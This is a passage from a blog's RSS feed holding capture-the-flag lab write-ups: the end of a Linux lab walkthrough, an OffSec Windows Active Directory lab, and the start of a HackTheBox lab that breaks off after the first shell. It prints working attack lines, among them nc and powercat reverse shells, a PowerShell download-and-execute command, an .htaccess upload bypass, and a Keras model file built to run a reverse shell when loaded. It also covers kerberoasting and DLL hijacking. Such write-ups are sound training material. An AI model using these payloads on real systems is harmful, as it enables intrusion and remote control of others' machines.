&lt;p&gt;Within the source code I found the standard &lt;code&gt;SHA-1&lt;/code&gt; password for &lt;code&gt;admin&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49db844ee3695a8bb62b5cec50424a30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;According to online this password hash SHOULD match &lt;code&gt;admin&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1595743bca719e4e6f9f1c4ebc8fb4f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try and overwrite it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE planning_user SET password=&apos;df5b909019c9b1659e86e0d6bf8da81d6fa3499e&apos; WHERE user_id=&apos;ADM&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5c3c7a673c86cf1c1738793ad24bef18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It succeeded! Let&apos;s try to log in.&lt;/p&gt;
&lt;h3&gt;RCE PoC&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca6f691c10c90ceff3508fe953c4398d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We successfully log in!&lt;/p&gt;
&lt;p&gt;Let&apos;s give the following PoC a shot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0dd1d1b4b32c9c28a9539714a5cee33e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I use &lt;code&gt;searchsploit&lt;/code&gt; to get the PoC and launch &lt;code&gt;gobuster&lt;/code&gt; again to verify whether all the endpoints in the PoC match:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a6af37d471b66946f1168fbb9f34941.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5648c389262849907e1ca9536e61f1d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce6ca83e91f1837537c676c85b9c0be4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks good enough, let&apos;s launch it.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/100be6f0c96f515b75fb7d9e9633b3e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, I upgrade my shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;busybox nc 192.168.45.185 3306 -e bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2827364c18194d3f6af7867ed57cc5f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18f83b034f2260a5bacb32c8fc04bf4a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice there are 2 users on this target, &lt;em&gt;jack&lt;/em&gt; and &lt;em&gt;ubuntu&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2ec4690abba8461021635e6a46ee92d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the moment I am not allowed to view either one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49367a2598c24e8b264a8d9e8c134289.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82443734c6e9a596b25017681a87b51e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find something interesting!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d3f290b96e5dd70924a8ae0b82547de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, we can proceed with it as &lt;em&gt;Jack&lt;/em&gt;, first we need access as him.&lt;/p&gt;
&lt;p&gt;I download over &lt;code&gt;pspy64&lt;/code&gt; to see the running processes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3b663e43078a8c022e6240a638bf3d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Luckily for me, amongst the results is the cleartext password for &lt;em&gt;jack&lt;/em&gt;!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jack
j4cKF0rg3@445
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;I log in to &lt;code&gt;ssh&lt;/code&gt; as &lt;em&gt;jack&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4ee63ca095aa2d7ef9b441fe36cfccb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f759037dcac43479c50457ee839fffa0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d1f52a97fba80c0a80080a3db3f15a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Flask app&lt;/h2&gt;
&lt;p&gt;Returning to the &lt;code&gt;flask&lt;/code&gt; app we should figure out what to do with it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eedba61066c2e452be53ddce51e95867.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out we can run it as &lt;em&gt;root&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3aad1272ac821e50233d0ddf530a8fda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2a4f4a34fd7aae4661660ccaec9aa9b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So it is essentially a bash script that runs &lt;code&gt;app.py&lt;/code&gt;, got it&lt;/p&gt;
&lt;p&gt;Let&apos;s go ahead and change the contents of &lt;code&gt;app.py&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/383e27fe1847987bc4f21fde0370cf67.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8bcc673dc5ed46778ca1403d6de26c3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9533becb78eb9bb01fe88e5317d53546.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ!&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a16a525597a61c0d4ab8b58a738d0302.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Access</title><link>https://maxk9999.vercel.app/posts/pg-access</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/pg-access</guid><pubDate>Thu, 29 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.102.187
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV access -sT -vvvv -p- -Pn -T5 --min-rate=5000

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: Access The Event
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-19 08:13:45Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      syn-ack Apache httpd 2.4.48 (OpenSSL/1.1.1k PHP/8.0.7)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack Microsoft Windows RPC
49701/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Hosts: SERVER, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b146d842f17a7b1ea0d084e8c67264a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b70147542ca0ac166c802b2a1329c05d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and used &lt;code&gt;username-anarchy&lt;/code&gt; to create a username list out of them and tried to use &lt;code&gt;kerbrute&lt;/code&gt; to enumerate users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fbc2c713a6af6a99590033d22b098717.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunate no matches.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2ecd568286f38e1d3ca4c61b0235100.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This form doesn&apos;t work, so we don&apos;t have to keep testing it.&lt;/p&gt;
&lt;p&gt;I inspect the site a bit more and find this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c775b28769a78553dc423dab100c4cec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This could be a &lt;strong&gt;File Upload&lt;/strong&gt; attack.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b30f67f592f6a44721d72c8b83611af7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This could however also be a &lt;strong&gt;Reflected XSS&lt;/strong&gt; on second thought?&lt;/p&gt;
&lt;h2&gt;File Upload Attack&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/81ff771808875c57bfe1a8fb20887d1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the script that we get upon submit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4a30bb5b50920e9e68ccf8715d1a20d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get to testing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bafe49630fd5976a2710f5b1c7b3c162.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try it out by adding a XSS comment inside the picture instead.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f5d34a1c3296840e956d76147a97362.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7925e7048e89106f6bc87fd2591ce48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The payload does not get triggered however confirming that XSS is not the way.&lt;/p&gt;
&lt;p&gt;Seems like we&apos;re left with the file upload attack.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;gobuster&lt;/code&gt; I was able to find the &lt;code&gt;/uploads&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7867ff62cf02a338889fbdbdb9876955.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find our uploaded file here, let&apos;s try to upload a malicious webshell.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;burp&lt;/code&gt; I intercept the request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/871561bcdc020be5d69172ad8cb8b2a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And here I will try to add my malicious webshell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8486f623fd37cbc7816fea788eee3262.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/050a265f906266eff0eb62fd330973a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I turned it around:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/72b13ad90d7a6700b3e2a8bf4127794b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e9ed0c3f595bd759cd63e53f60d0bf82.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f142a216188b961f8ebacd4af12e24f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After multiple tries I still got the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d91e39758bae5efda352c3240f8ecf7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Overwriting .htaccess&lt;/h3&gt;
&lt;p&gt;Frustrated I started my further enumeration online, thinking I hit a dead end.&lt;/p&gt;
&lt;p&gt;I then found out I was on the correct path but I just had to do something I had never done before:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/328ef1016daaedae44d409f38430c208.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently we can try and overwrite the &lt;code&gt;.htaccess&lt;/code&gt; file by uploading our own which will then allow us to upload a &lt;code&gt;php&lt;/code&gt; web or reverse shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;AddType application/x-httpd-php .pwn&quot; &amp;gt; .htaccess
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::info
We create a new file type which we will allow via the &lt;code&gt;.htaccess&lt;/code&gt; file, we should then be able to upload the file and treat it as an &lt;code&gt;php&lt;/code&gt; file
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5a4f0e7fe2a225589af8315dcfe5730.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c40841ff9eacd075b391cdb58ad41266.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/688cf1d4770fd05b422ecb4873f5b470.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as svc_apache&lt;/h2&gt;
&lt;p&gt;We boot up a listener before uploading the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/71f39858800d4e6b5c70d0380be716fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
Unfortunately &lt;code&gt;penelope&lt;/code&gt; didn&apos;t like this:
&lt;img src=&quot;attachments/68e201d87fcb82c97d6f0522bf059692.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f8684115e4f9ea8fd61f1814b483d49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we&apos;re a &lt;code&gt;svc&lt;/code&gt; account I crossed my fingers hoping we have the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; enabled.&lt;/p&gt;
&lt;p&gt;:::fail
&lt;a href=&quot;attachments/0a5a66cdbffe6b8a089ff29014a466ae.png&quot;&gt;&lt;/a&gt;
Wuap wuap....
:::&lt;/p&gt;
&lt;p&gt;I instantly start my enumeration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/86b6036998911e573281b3c405d923dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Seems there&apos;s another service account, &lt;em&gt;svc_mssql&lt;/em&gt;. This LIKELY means we&apos;ll have to do some lateral movement before getting Admin privs.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;I check the handy cheatsheet:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9ff353a5ec1171f34a169720ca49f24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We probably need to kerberoast here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ac93548b6b14e4af6128bc9b700c715.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s transfer over &lt;code&gt;rubeus&lt;/code&gt; and get to work!&lt;/p&gt;
&lt;h3&gt;Kerberoasting&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f4bd595bbd1d1e5174a585264d7d330.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea37859ba8cd4f190eccf52dc78c3f8d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice and easy, let&apos;s try and crack it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9f29f09dcf44c3d9b5f1d1156c3d4c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::success
&lt;code&gt;john&lt;/code&gt; cracks it INSTANTLY.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_mssql
trustno1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Password Spray&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/76dc0fbc74586f138fa48ed248a2cca7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However it looks like we can&apos;t get access to &lt;code&gt;winrm&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f1592015c28da48ac350c1f0839ced3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;RunasCs&lt;/h3&gt;
&lt;p&gt;To circumvent this issue and get access as &lt;em&gt;svc_mssql&lt;/em&gt; via our existing reverse shell we can use the following script:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32e6d5a04b39ea34f2a8dffd1b696a91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b52f72d1b7aecc0f1cbf490733b1c83b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thus we have verified that we can execute commands as &lt;em&gt;svc_mssql&lt;/em&gt;. We can now go ahead and create a reverse shell by uploading &lt;code&gt;powercat.ps1&lt;/code&gt; in order to get a reverse shell as &lt;em&gt;svc_mssql&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We will put the following line inside the &lt;code&gt;-Command&lt;/code&gt; brackets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Powershell IEX(New-Object System.Net.WebClient).DownloadString(&apos;http://192.168.45.185/powercat.ps1&apos;);powercat -c 192.168.45.185 -p 443 -e cmd&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/63ea22103e7dcebd4fe685c1e49967cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb5a59f70420478f21abab36b677ae2c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6718942627c479bb07be03e0f2cc363e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;SeManageVolumePrivilege&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5fbd9b126f1518845d76e764d0c5fb40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yet again no ez win?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b833874b9d8dca9c196638d633ba58e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Or isn&apos;t it?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b8de642f4607e52e1539d1382324b565.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Simply download and execute it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7cf60618d7b58b62c01702b46bbe08d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can write files to the &lt;code&gt;C:\&lt;/code&gt; drive.&lt;/p&gt;
&lt;p&gt;:::tip
Why is this useful you say? Well because there&apos;s a shit ton of DLL&apos;s inside the &lt;code&gt;/Windows/System32&lt;/code&gt; folder which we can now hijack using our own crafter reverse shell!
:::&lt;/p&gt;
&lt;h2&gt;DLL Hijacking&lt;/h2&gt;
&lt;p&gt;We will be using the &lt;code&gt;tzres.dll&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;:::info
I could&apos;ve used any &lt;code&gt;.dll&lt;/code&gt; but was too lazy to do my research so I used a proven one.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7adee2106900f239127676e703a5432.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ca2c5b22ca1e13db78d7e952b4b5945.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The good thing about hijacking this dll is that you can then call upon it by issuing &lt;code&gt;systeminfo&lt;/code&gt;:
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cd5424701d5e5e4b42e08215c7ab6d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Eventhough it says it failed it really didn&apos;t:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2dc70c9cc8af3acc0ff36a1b89b1c77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23abb6fb6b0f81cfe5fb4f32a24b37e5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Artificial</title><link>https://maxk9999.vercel.app/posts/artificial</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/artificial</guid><pubDate>Wed, 25 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.74
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -Pn -T5 --min-rate=5000 artificial

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/710947ba6f1c7aff23474efd0f8fa657.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b40d1ac9eb7d71440eb82f0e11ffd19e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc60b91f6d9fa27928064fa8e2fcb1f1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Anyhow we go to the &lt;code&gt;/register&lt;/code&gt; page where we can easily sign up with a new account and log in afterwards:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6572c0c0846b4df3eedd5e3e5eacb5d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Burpsuite&lt;/h3&gt;
&lt;p&gt;I launch &lt;code&gt;burp&lt;/code&gt; so I can view the request better:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0b86d9b3833818edb7b55494bd9fef4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ead5d20af8e5b4771f597808d2b814c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So instead what we&apos;ll want to do is create a valid &lt;code&gt;.h5&lt;/code&gt; file with our reverse shell in it, upon file upload and running it on the client we should get &lt;strong&gt;RCE&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;docker&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;Dockerfile&lt;/code&gt; that we find on the web page contains the instructions that we need to follow:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4580785073ebd2eea724ba125119fdfb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0bcfa3bd65c3f18cee043135edec092.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So we&apos;ll have to craft up the docker container:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/caef7159fd897948b0d1bc2617f4b08b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can go ahead and supply it our &lt;code&gt;python&lt;/code&gt; code which will generate a malicious &lt;code&gt;h5&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# gen.py

import tensorflow as tf

def exploit(x):
    import os
    os.system(&quot;rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.15 80 &amp;gt;/tmp/f&quot;)
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save(&quot;exploit.h5&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the &lt;code&gt;docker&lt;/code&gt; container we will then craft it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/343b68976be47a8efe045983a643fd27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now upload and run it in order to get &lt;strong&gt;RCE&lt;/strong&gt;.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as app&lt;/h2&gt;
&lt;p&gt;I now upload the model:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2906881484f3f77ebefe80858901e9d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And click on &lt;strong&gt;View Predictions&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee27e46060c5484b0db6f8975cb86c6d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just like that we get a reverse shell!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/781234dface9c8a8ab70c611d1746a66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice there&apos;s a user on the system called &lt;em&gt;gael&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1742a982087e150ad1927768cd706969.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;gael&lt;/em&gt; was also part of the &lt;em&gt;sysadm&lt;/em&gt; group, would be nice to move laterally to him.&lt;/p&gt;
